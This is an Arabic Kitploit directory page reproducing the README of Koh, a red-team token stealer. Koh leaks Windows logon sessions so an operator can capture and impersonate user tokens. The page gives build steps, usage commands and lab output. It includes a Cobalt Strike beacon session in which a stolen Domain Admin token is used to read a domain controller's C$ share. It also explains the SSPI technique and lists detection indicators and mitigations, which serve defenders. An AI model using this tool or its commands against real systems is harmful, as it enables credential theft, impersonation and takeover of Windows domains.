Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Koh — يلتقط رموز جلسات تسجيل الدخول في ويندوز عبر تسريب الرموز لتمكين إعادة استخدام بيانات الاعتماد وانتحال الهوية، مع تكامل Cobalt Strike BOF لسرقة الرموز بعد الاستغلال. | Kitploit
أدوات/GitHubGitHub/ghostpack/koh
ما بعد الاستغلالالمصادقةالفريق الأحمر
GitHubghostpack/koh

Koh

يلتقط رموز جلسات تسجيل الدخول في ويندوز عبر تسريب الرموز لتمكين إعادة استخدام بيانات الاعتماد وانتحال الهوية، مع تكامل Cobalt Strike BOF لسرقة الرموز بعد الاستغلال.

عرض المستودع
52267منذ 4 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Koh


Koh هي مجموعة أدوات مكتوبة بلغة C# وملف كائن المنارة (BOF) تسمح بالتقاط مواد بيانات اعتماد المستخدم من خلال تسريب متعمد للرموز/جلسات تسجيل الدخول.

بعض الكود مستوحى من مشروع Elad Shamir Internal-Monologue (بدون ترخيص)، بالإضافة إلى KB180548. لمعرفة سبب إمكانية ذلك ونهج Koh، راجع قسم الخلفية التقنية من هذا الملف.

للحصول على شرح أعمق للدوافع وراء Koh ونهجها، راجع منشور Koh: The Token Stealer.

@harmj0y هو المؤلف الرئيسي لقاعدة الكود هذه. ساعد @tifkin_ في النهج وتنفيذ BOF وبعض آليات الرموز.

Koh مرخصة بموجب ترخيص BSD 3-Clause.

جدول المحتويات

  • Koh
    • جدول المحتويات
    • خادم Koh
      • التجميع
      • الاستخدام
      • مثال - سرد جلسات تسجيل الدخول
      • مثال - مراقبة جلسات تسجيل الدخول (مع تصفية SID المجموعة)
    • عميل Koh
      • الاستخدام
      • تصفية SID المجموعة
      • مثال - الالتقاط
    • الخلفية التقنية
      • لماذا هذا ممكن
      • النهج
        • النهج الممكنة
        • نهجنا
        • المزايا/العيوب مقارنة باستخراج بيانات الاعتماد التقليدية
          • المزايا
          • العيوب
    • خلل Inline Shenanigans
    • مؤشرات الاختراق
    • التخفيفات
    • المهام المتبقية

خادم Koh

"خادم" Koh يلتقط الرموز ويستخدم الأنابيب المسماة للتحكم/الاتصال. يمكن تغليف ذلك في Donut وحقنه في أي عملية عالية التكامل SYSTEM (راجع خلل Inline Shenanigans).

التجميع

نحن لا نخطط لإصدار ملفات ثنائية لـ Koh، لذلك سيتعين عليك التجميع بنفسك :)

تم بناء Koh على .NET 4.7.2 وهو متوافق مع Visual Studio 2019 Community Edition. ما عليك سوى فتح ملف المشروع .sln، واختيار "Release"، والبناء. سيتم إخراج التجميعة Koh.exe وملف Koh.bin Donut-built PIC إلى الدليل الرئيسي. كتلة Donut متوافقة مع كل من x86/x64، وتم بناؤها باستخدام الخيارات التالية باستخدام الإصدار v0.9.3 من Donut الموجود في ./Misc/Donut.exe:``` [ Instance type : Embedded [ Entropy : Random names + Encryption [ Compressed : Xpress Huffman [ File type : .NET EXE [ Parameters : capture [ Target CPU : x86+amd64 [ AMSI/WDLP : abort

root@kitploit:~
ترخيص Donut هو BSD 3-clause.

### الاستخدام
   
   `Koh.exe <list | monitor | capture> [GroupSID... GroupSID2 ...]`

* **list** - يعرض جلسات تسجيل الدخول (غير الشبكية)
* **monitor** - يراقب جلسات تسجيل الدخول الجديدة/الفريدة (غير الشبكية)
* **capture** - يلتقط رمزًا فريدًا واحدًا لكل SID يتم العثور عليه لجلسات تسجيل الدخول الجديدة (غير الشبكية)

يمكن أيضًا توفير Group SIDs من سطر الأوامر، مما يؤدي إلى مراقبة/التقاط جلسات تسجيل الدخول التي تحتوي فقط على Group SIDs المحددة في معلومات الرمز المتفاوض عليها.

### مثال - عرض جلسات تسجيل الدخول```
C:\Temp>Koh.exe list

 __  ___   ______    __    __
|  |/  /  /  __  \  |  |  |  |
|  '  /  |  |  |  | |  |__|  |
|    <   |  |  |  | |   __   |
|  .  \  |  `--'  | |  |  |  |
|__|\__\  \______/  |__|  |__|
                     v1.0.0


  [*] Command: list

  [*] Elevated to SYSTEM


  [*] New Logon Session - 6/22/2022 2:51:46 PM
      UserName    : THESHIRE\testuser
      LUID        : 207990196
      LogonType   : Interactive
      AuthPackage : Kerberos
      User SID    : S-1-5-21-937929760-3187473010-80948926-1119
      Origin LUID : 1677733 (0x1999a5)

  [*] New Logon Session - 6/22/2022 2:51:46 PM
      UserName    : THESHIRE\DA
      LUID        : 81492692
      LogonType   : Interactive
      AuthPackage : Negotiate
      User SID    : S-1-5-21-937929760-3187473010-80948926-1145
      Origin LUID : 1677765 (0x1999c5)

  [*] New Logon Session - 6/22/2022 2:51:46 PM
      UserName    : THESHIRE\DA
      LUID        : 81492608
      LogonType   : Interactive
      AuthPackage : Kerberos
      User SID    : S-1-5-21-937929760-3187473010-80948926-1145
      Origin LUID : 1677765 (0x1999c5)

  [*] New Logon Session - 6/22/2022 2:51:46 PM
      UserName    : THESHIRE\harmj0y
      LUID        : 1677733
      LogonType   : Interactive
      AuthPackage : Kerberos
      User SID    : S-1-5-21-937929760-3187473010-80948926-1104
      Origin LUID : 999 (0x3e7)
    

مثال - مراقبة جلسات تسجيل الدخول (مع تصفية SID المجموعة)

يسرد فقط النتائج التي تحتوي على SID مجموعة مسؤولي المجال (-512) في معلومات رمزها المميز:``` C:\Temp>Koh.exe monitor S-1-5-21-937929760-3187473010-80948926-512


| |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0

[*] Command: monitor

[*] Starting server with named pipe: imposecost

[*] Elevated to SYSTEM

[*] Targeting group SIDs: S-1-5-21-937929760-3187473010-80948926-512

[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492692 LogonType : Interactive AuthPackage : Negotiate User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)

[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492608 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)

[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\harmj0y LUID : 1677733 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1104 Origin LUID : 999 (0x3e7)

root@kitploit:~
## Koh Client

العميل القابل للاستخدام حالياً هو ملف كائن منارة (Beacon Object File) في `.\Clients\BOF\`. قم بتحميل سكريبت العدوان `.\Clients\BOF\KohClient.cna` في عميل Cobalt Strike الخاص بك لتمكين التحكم BOF في خادم Koh. الشرط الوحيد لاستخدام الرموز الملتقطة هو **SeImpersonatePrivilege**. أنبوب الاتصال المسمى يحتوي على DACL "للجميع" ولكنه يستخدم كلمة مرور مشتركة أساسية (آمنة جداً).

لتجميع جديد على Linux باستخدام Mingw، راجع سكريبت `.\Clients\BOF\build.sh`. الشرط الوحيد (على Debian على الأقل) يجب أن يكون `apt-get install gcc-mingw-w64`.

### الاستخدام```
beacon> help koh
koh list              - lists captured tokens
koh groups LUID       - lists the group SIDs for a captured token
koh filter list       - lists the group SIDs used for capture filtering
koh filter add SID    - adds a group SID for capture filtering
koh filter remove SID - removes a group SID from capture filtering
koh filter reset      - resets the SID group capture filter
koh impersonate LUID  - impersonates the captured token with the give LUID
koh release all       - releases all captured tokens
koh release LUID      - releases the captured token for the specified LUID
koh exit              - signals the Koh server to exit

تصفية SID المجموعة

أمر koh filter add S-1-5-21-<DOMAIN>-<RID> سيلتقط فقط الرموز التي تحتوي على SID المجموعة المقدمة. يمكن تشغيل هذا الأمر عدة مرات لإضافة SIDs إضافية للالتقاط. يمكن أن يساعد ذلك في منع مشكلات الاستقرار المحتملة بسبب عدد كبير من تسريبات الرموز.

مثال - الالتقاط

"يلتقط" جلسات تسجيل الدخول عن طريق التفاوض على رموز قابلة للاستخدام لكل جلسة جديدة.``` C:\Temp>Koh.exe capture


| |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0

[*] Command: capture

[*] Starting server with named pipe: imposecost

[*] Elevated to SYSTEM

[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\testuser LUID : 207990196 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1119 Credential UserName : [email protected] Origin LUID : 1677733 (0x1999a5)

root@kitploit:~
  [*] Successfully negotiated a token for LUID 207990196 (hToken: 848)

[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\DA LUID : 81492692 LogonType : Interactive AuthPackage : Negotiate User SID : S-1-5-21-937929760-3187473010-80948926-1145 Credential UserName : [email protected] Origin LUID : 1677765 (0x1999c5)

root@kitploit:~
  [*] Successfully negotiated a token for LUID 81492692 (hToken: 976)

[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\harmj0y LUID : 1677733 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1104 Credential UserName : [email protected] Origin LUID : 999 (0x3e7)

root@kitploit:~
  [*] Successfully negotiated a token for LUID 1677733 (hToken: 980)
root@kitploit:~
عميل BOF:```
beacon> shell dir \\dc.theshire.local\C$
[*] Tasked beacon to run: dir \\dc.theshire.local\C$
[+] host called home, sent: 69 bytes
[+] received output:
Access is denied.

beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are NT AUTHORITY\SYSTEM (admin)

beacon> koh list
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe                    : \\.\pipe\imposecost

[+] received output:

Username     : THESHIRE\localadmin (S-1-5-21-937929760-3187473010-80948926-1000)
LUID         : 67556826
CaptureTime  : 6/21/2022 1:24:42 PM
LogonType    : Interactive
AuthPackage  : Negotiate
CredUserName : [email protected]
Origin LUID  : 1676720

Username     : THESHIRE\da (S-1-5-21-937929760-3187473010-80948926-1145)
LUID         : 67568439
CaptureTime  : 6/21/2022 1:24:50 PM
LogonType    : Interactive
AuthPackage  : Negotiate
CredUserName : [email protected]
Origin LUID  : 1677765

Username     : THESHIRE\harmj0y (S-1-5-21-937929760-3187473010-80948926-1104)
LUID         : 1677733
CaptureTime  : 6/21/2022 1:23:10 PM
LogonType    : Interactive
AuthPackage  : Kerberos
CredUserName : [email protected]
Origin LUID  : 999

beacon> koh groups 67568439
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe                    : \\.\pipe\imposecost

[+] received output:
S-1-5-21-937929760-3187473010-80948926-513
S-1-5-21-937929760-3187473010-80948926-512
S-1-5-21-937929760-3187473010-80948926-525
S-1-5-21-937929760-3187473010-80948926-572

beacon> koh impersonate 67568439
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe                    : \\.\pipe\imposecost

[+] received output:
[*] Enabled SeImpersonatePrivilege

[+] received output:
[*] Creating impersonation named pipe: \\.\pipe\imposingcost

[+] received output:
[*] Impersonation succeeded. Duplicating token.

[+] received output:
[*] Impersonated token successfully duplicated.

[+] Impersonated THESHIRE\da

beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are THESHIRE\DA (admin)

beacon> shell dir \\dc.theshire.local\C$
[*] Tasked beacon to run: dir \\dc.theshire.local\C$
[+] host called home, sent: 69 bytes
[+] received output:
 Volume in drive \\dc.theshire.local\C$ has no label.
 Volume Serial Number is A4FF-7240

 Directory of \\dc.theshire.local\C$

01/04/2021  11:43 AM    <DIR>          inetpub
05/30/2019  03:08 PM    <DIR>          PerfLogs
05/18/2022  01:27 PM    <DIR>          Program Files
04/15/2021  09:44 AM    <DIR>          Program Files (x86)
03/20/2020  12:28 PM    <DIR>          RBFG
10/20/2021  01:14 PM    <DIR>          Temp
05/23/2022  06:30 PM    <DIR>          tools
03/11/2022  04:10 PM    <DIR>          Users
06/21/2022  01:30 PM    <DIR>          Windows
               0 File(s)              0 bytes
               9 Dir(s)  40,504,201,216 bytes free

الخلفية التقنية

عند بدء جلسة تسجيل دخول جديدة على النظام، يتم إنشاء رمز جديد لجلسة تسجيل الدخول بواسطة LSASS باستخدام استدعاء API NtCreateToken() ويتم إعادته بواسطة المتصل بـ LsaLogonUser(). يؤدي هذا إلى زيادة حقل ReferenceCount في بنية جلسة تسجيل الدخول في النواة. عندما يصل هذا ReferenceCount إلى 0، يتم تدمير جلسة تسجيل الدخول. بسبب المعلومات الموصوفة في قسم لماذا هذا ممكن، فإن أنظمة Windows لن تحرر جلسة تسجيل الدخول إذا كان هناك مقبض رمز لا يزال موجودًا لها (وبالتالي فإن عدد المرجع != 0).

لذا إذا تمكنا من الحصول على مقبض لجلسة تسجيل دخول تم إنشاؤها حديثًا عبر رمز، فيمكننا إبقاء جلسة تسجيل الدخول تلك مفتوحة ثم انتحال هذا الرمز لاحقًا لاستخدام أي بيانات اعتماد مخزنة مؤقتًا يحتويها.

لماذا هذا ممكن

وفقًا لهذا المنشور من مهندس مايكروسوفت:``` After MS16-111, when security tokens are leaked, the logon sessions associated with those security tokens also remain on the system until all associated tokens are closed... even after the user has logged off the system. If the tokens associated with a given logon session are never released, then the system now also has a permanent logon session leak as well.

root@kitploit:~
[MS16-111](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-111) تم تطبيقه على Windows 7/Server 2008 وما قبله، لذلك يجب أن يكون هذا النهج فعالًا لكل شيء باستثناء أنظمة Server 2003.

## النهج

تعداد جلسات تسجيل الدخول سهل (من سياق مرتفع) من خلال استخدام واجهة برمجة تطبيقات Win32 [LsaEnumerateLogonSessions()](https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaenumeratelogonsessions). الأصعب هو أخذ معرف جلسة تسجيل دخول محدد (LUID) و _بطريقة ما_ الحصول على رمز مميز قابل للاستخدام مرتبط بتلك الجلسة.

### النهج المحتملة

قمنا بعصف ذهني لعدة طرق لـ أ) إبقاء جلسات تسجيل الدخول مفتوحة و ب) إساءة استخدام هذا لانتحال الرمز المميز/استخدام بيانات الاعتماد المخزنة مؤقتًا.

1. كان النهج الأول هو استخدام **NtCreateToken()** الذي يسمح لك بتحديد معرف جلسة تسجيل الدخول (LUID) لإنشاء رمز مميز جديد.
   * للأسف، تحتاج إلى **SeCreateTokenPrivilege** الذي يُحتفظ به تقليديًا فقط بواسطة LSASS، مما يعني أنك بحاجة إلى سرقة رمز LSASS المميز وهو ليس مثاليًا.
   * كان الاحتمال الواحد إضافة **SeCreateTokenPrivilege** إلى NT AUTHORITY\SYSTEM عبر تعديل سياسة LSA، لكن هذا سيحتاج إلى إعادة تشغيل/جلسة تسجيل دخول جديدة لإظهار صلاحيات المستخدم الجديدة.
2. يمكنك أيضًا التركيز فقط على جلسات تسجيل الدخول التفاعلية عن بعد باستخدام **WTSQueryUserToken()** للحصول على رموز مميزة لجلسات سطح مكتب جديدة لاستنساخها.
   * هذا هو النهج الذي [عرضه Ryan](https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/using-debugging-tools-to-find-token-and-session-leaks/ba-p/400472) على ما يبدو.
   * للأسف، هذا يفتقد جلسات تسجيل الدخول المحلية المنشأة حديثًا والجلسات الواردة التي تم إنشاؤها من أشياء مثل PSEXEC.
3. في جلسة تسجيل دخول جديدة، افتح مقبضًا لكل عملية يمكن الوصول إليها وقم بتعداد جميع المقابض الموجودة، مع استنساخ الرمز المميز المرتبط بجلسة تسجيل الدخول الجديدة.
   * يتطلب هذا فتح الكثير من العمليات/المقابض، مما يبدو مشبوهًا جدًا.
4. النهج **AcquireCredentialsHandle()**/**InitializeSecurityContext()**/**AcceptSecurityContext()** الموضح أدناه، وهو ما اخترناه.

### نهجنا

استدعاء SSPI [AcquireCredentialsHandle()](https://docs.microsoft.com/en-us/windows/win32/secauthn/acquirecredentialshandle--negotiate) يحتوي على حقل **pvLogonID** ينص على:```
A pointer to a locally unique identifier (LUID) that identifies the user. This parameter is provided for file-system processes such as network redirectors. 

ملاحظة: لاستخدام LUID لجلسة تسجيل الدخول مع AcquireCredentialsHandle() تحتاج إلى SeTcbPrivilege، ومع ذلك فإن الحصول على هذا عادةً أسهل من SeCreateTokenPrivilege.

استخدام هذه الاستدعاء مع تحديد معرف/ LUID لجلسة تسجيل الدخول يبدو أنه يزيد من عدد المراجع (ReferenceCount) لهيكل جلسة تسجيل الدخول، مما يمنع تحريرها. ومع ذلك، نواجه مشكلة أخرى: إذا كانت لدينا جلسة تسجيل دخول "مسربة"/مفتوحة، كيف يمكننا الحصول على رمز مميز قابل للاستخدام منها؟ WTSQueryUserToken() يعمل فقط مع جلسات سطح المكتب، ولا توجد واجهة برمجة تطبيقات في وضع المستخدم (userland) وجدناها تسمح لك بربط LUID برمز مميز قابل للاستخدام.

ومع ذلك يمكننا استخدام دالتي SSPI إضافيتين، InitializeSecurityContext() و AcceptSecurityContext() للعمل كعميل وخادم لأنفسنا، والتفاوض حول سياق أمني جديد يمكننا استخدامه بعد ذلك مع QuerySecurityContextToken() للحصول على رمز مميز قابل للاستخدام. تم توثيق ذلك في KB180548 (منسوخ بواسطة PKISolutions هنا) لأغراض التحقق من صحة بيانات الاعتماد. هذا نهج مشابه لـ Internal-Monologue، باستثناء أننا نكمل عملية المصافحة بأكملها، وننتج رمزًا مميزًا، ثم نحتفظ به للاستخدام لاحقًا.

يمكن بعد ذلك إجراء التصفية على الرمز المميز نفسه، عبر CheckTokenMembership() أو GetTokenInformation(). على سبيل المثال، يمكننا تحرير أي رموز مميزة باستثناء تلك التي تنتمي إلى مسؤولي المجال، أو مجموعات محددة نريد استهدافها.

المزايا/العيوب مقارنة باستخراج بيانات الاعتماد التقليدي

المزايا

  • يعمل لكل من تسجيلات الدخول المحلية والواردة (غير الشبكية).
  • يعمل لجلسات الدخول الواردة التي تم إنشاؤها عبر Kerberos و NTLM.
  • لا يتطلب فتح مقبض (handle) لعمليات متعددة.
  • لا ينشئ حدث تسجيل دخول جديد أو جلسة تسجيل دخول جديدة.
  • لا ينشئ سجلات أحداث إضافية على وحدة تحكم المجال (DC) خارج سلوك تجديد التذاكر العادي للنظام (لا أعتقد ذلك؟)
  • لا توجد مدة صلاحية افتراضية للرموز المميزة (لا أعتقد ذلك؟) لذا يجب أن يعمل الوصول طالما أن بيانات اعتماد الحساب الذي تم التقاطه لا تتغير ولا يتم إعادة تشغيل النظام.
  • يعيد استخدام المصادقة المشروعة التي تم التقاطها على نظام، لذا يجب أن "يندمج مع الضوضاء" بشكل معقول.

العيوب

  • الوصول قابل للاستخدام فقط طالما أن النظام لا يعاد تشغيله.
  • لا يسمح لك بإعادة استخدام الوصول على أنظمة أخرى
    • ومع ذلك، لا يزال من الممكن إجراء استخراج التذاكر/بيانات الاعتماد الحالية على جلسة تسجيل الدخول المسربة.
  • قد يسبب عدم استقرار إذا تم تسريب عدد كبير من الجلسات (على الرغم من أنه يمكن التخفيف من ذلك عن طريق تصفية SID مجموعة الرمز المميز) وتقييد الحد الأقصى لعدد الرموز المميزة التي تم التقاطها (افتراضي 1000 هنا).

خطأ الممارسات الملتوية المضمنة (Inline Shenanigans Bug)

لقد كنت أبرمج لفترة لا بأس بها من الوقت. هذا أحد أغرب وأكثر الأخطاء إحباطًا في التتبع التي واجهتها منذ فترة - الرجاء مساعدتي في هذا الأمر lol.

  • عندما يتم تشغيل تجميع Koh.exe من سياق مرتفع (ولكن ليس SYSTEM)، يعمل كل شيء بشكل صحيح.

  • إذا تم تشغيل تجميع Koh.exe عبر عملية fork&run في Beacon الخاصة بـ Cobalt Strike مع execute-assembly من سياق مرتفع (ولكن ليس SYSTEM)، يعمل كل شيء بشكل صحيح.

  • إذا تم تشغيل تجميع Koh.exe بشكل مضمن (عبر InlineExecute-Assembly أو Inject-Assembly) لـ Cobalt Strike Beacon يعمل في سياق SYSTEM، يعمل كل شيء بشكل صحيح.

  • ومع ذلك إذا تم تشغيل تجميع Koh.exe بشكل مضمن (عبر InlineExecute-Assembly أو Inject-Assembly) لـ Cobalt Strike Beacon يعمل في سياق مرتفع، ولكن ليس SYSTEM، فإن استدعاء AcquireCredentialsHandle() يفشل مع SEC_E_NO_CREDENTIALS ويفشل كل شيء ¯\_(ツ)_/¯

لقد جربنا (بدون نجاح):

  • تفريغ كل شيء في مؤشر ترابط منفصل، مع تحديد وضع شقة مؤشر ترابط STA.
  • محاولة تشخيص العجائب في RPC (لا يزال هناك المزيد للتحقيق هنا).
  • استخدام DuplicateTokenEx و SetThreadToken بدلاً من ImpersonateLoggedOnUser.
  • التحقق من أن لدينا SeTcbPrivilege المناسب قبل استدعاء AcquireCredentialsHandle مباشرة (لدينا ذلك).

لجميع المقاصد والأغراض، يعمل سياق مؤشر الترابط قبل استدعاء AcquireCredentialsHandle مباشرة في هذا السياق، لكن النتيجة تظهر خطأ. وليس لدينا أي فكرة عن السبب.

إذا كانت لديك فكرة عما قد يكون هذا، فالرجاء إخبارنا! وإذا كنت ترغب في تجربة اللعب بتجميع أبسط، تحقق من مستودع AcquireCredentialsHandle على GitHub الخاص بي لاستكشاف الأخطاء وإصلاحها.

مؤشرات الاختراق (IOCs)

لنقتبس @tifkin_ "كل شيء خفي حتى يبحث عنه شخص ما." على الرغم من أن نهج كوه يختلف قليلاً عن الآخرين، إلا أنه لا تزال هناك مؤشرات اختراق (IOCs) يمكن استخدامها للكشف عنه.

معرف GUID الفريد لـ TypeLib لمجمع C# Koh هو 4d5350c8-7f8c-47cf-8cde-c752018af17e كما هو مفصل في قاعدة Yara Koh.yar في هذا المستودع. إذا لم يتم تغيير ذلك أثناء التجميع، فيجب أن يكون مؤشرًا عالي الدقة لخادم Koh.

عند بدء تشغيل خادم Koh، يفتح أنبوبًا مسمى (named pipe) يسمى \\.\pipe\imposecost يظل مفتوحًا طالما كان Koh قيد التشغيل. كلمة المرور الافتراضية المستخدمة لاتصالات Koh هي password، لذا فإن إرسال password list إلى أي أنبوب \\.\pipe\imposecost سيسمح لك بتأكيد ما إذا كان Koh قيد التشغيل بالفعل. الأنبوب الافتراضي للانتحال المستخدم هو \\.pipe\imposingcost.

إذا بدأ Koh في سياق مرتفع ولكن ليس كـ SYSTEM، يتم إجراء استنساخ للمقبض/الرمز المميز لـ winlogon لأداء رفع مستوى من نوع getsystem.

أنا متأكد من أنه لن يقوم أي مهاجم بتغيير المؤشرات المذكورة أعلاه.

من المحتمل وجود بعض الآثار (artifacts) من RPC لالتقاط الرمز المميز نأمل في التحقيق فيها. سنقوم بتحديث هذا القسم من ملف README إذا وجدنا أي آثار كشف إضافية في هذا السياق. يمكن استكشاف ربط (hooking) بعض واجهات برمجة التطبيقات غير الشائعة المحتملة التي يستخدمها Koh (LsaEnumerateLogonSessions أو تحديدًا AcquireCredentialsHandle/InitializeSecurityContext/AcceptSecurityContext، خاصة باستخدام LUID في AcquireCredentialsHandle) لفعاليتها، ولكن للأسف، لست EDR.

وسائل التخفيف (Mitigations)

بعد نشر مقال Koh: The Token Stealer، كان لدي تبادل رائع بين @cnotin و @SteveSyfuhs حول ما انتهى به الأمر ليكون تخفيفًا جزئيًا لهذا النهج.

قدم تصحيح KB2871997 إعداد TokenLeakDetectDelaySecs، الذي يؤدي إلى "...مسح أي بيانات اعتماد للمستخدمين الذين سجلوا الخروج...". في الواقع، يتم فرض هذا السلوك لأعضاء "مجموعة المستخدمين المحميين" (Protected Users Security Group) بغض النظر عن إعداد التسجيل. ومع ذلك، فإن تعيين هذا إلى قيمة غير صفرية سيمسح جميع بيانات الاعتماد من الذاكرة عندما يسجل المستخدم الخروج. على وجه التحديد، كما يذكر Steve: إذا تم تعيينه، فسيبدأ مؤقتًا عند حدث تسجيل خروج *تفاعلي* للجلسة، وعند التشغيل سينظف أي شيء لا يزال مرتبطًا به. معطل افتراضيًا. المستخدمون المحميون دائمًا قيد التشغيل، مع افتراضي 30 ثانية.

هناك أمران مهمان يجب ملاحظتهما في الفقرة أعلاه: "حدث تسجيل الخروج" و "تفاعلي". يمكن أن يؤدي هذا إلى بعض الحالات التي لا يتم فيها مسح بيانات اعتماد المستخدم:

  • إذا كانت بيانات الاعتماد موجودة عبر إطلاق runas أو runas /netonly أو شيء مشابه، فلا يوجد حدث تسجيل خروج عند توقف العملية ويمكن الاستمرار في التقاط بيانات الاعتماد/الرمز المميز.
  • إذا كانت بيانات الاعتماد موجودة عبر جلسة RDP حيث يقوم المستخدم فقط بقطع الاتصال بدلاً من تسجيل الخروج، فلا يوجد حدث تسجيل خروج عند توقف العملية ويمكن الاستمرار في التقاط بيانات الاعتماد/الرمز المميز.

(أحتاج إلى اختبار حالات تسجيل دخول أخرى مثل NetworkClearText.)

ومع ذلك، إذا كان المستخدم في "مجموعة المستخدمين المحميين" أو كانت TokenLeakDetectDelaySecs غير صفرية، وسجل المستخدم الخروج بنشاط من جلسة تفاعلية أو تفاعلية عن بعد (RDP)، فسيتم مسح بيانات الاعتماد. أحتاج إلى برمجة Koh للتعامل بشكل أفضل مع هذه الأنواع المحددة من المواقف.

خلاصة القول: يجب حقًا استخدام "مجموعة المستخدمين المحميين" للمستخدمين الحساسين، ومعرفة ما إذا كان تعيين TokenLeakDetectDelaySecs إلى قيمة مثل 30 ممكنًا في بيئتك.

المهام المتبقية (TODO)

  • اختبارات إضافية في المختبر والميدان. المخاوف المحتملة:
    • الاستقرار في بيئات الإنتاج، خاصة تسريب الرمز المميز المتعمد مما يسبب مشاكل على الخوادم ذات الحركة المرورية العالية
    • المدة الفعلية الفعالة للرمز المميز
  • عميل "عن بُعد" يسمح بالمراقبة عبر أنبوب Koh المسمى عن بُعد
  • تنفيذ المزيد من العملاء (PowerShell, C#, C++, إلخ.)
  • إصلاح خطأ الممارسات الملتوية المضمنة
  • التعامل بشكل أفضل مع حالات "المستخدمين المحميين"/TokenLeakDetectDelaySecs
تنزيل الأداة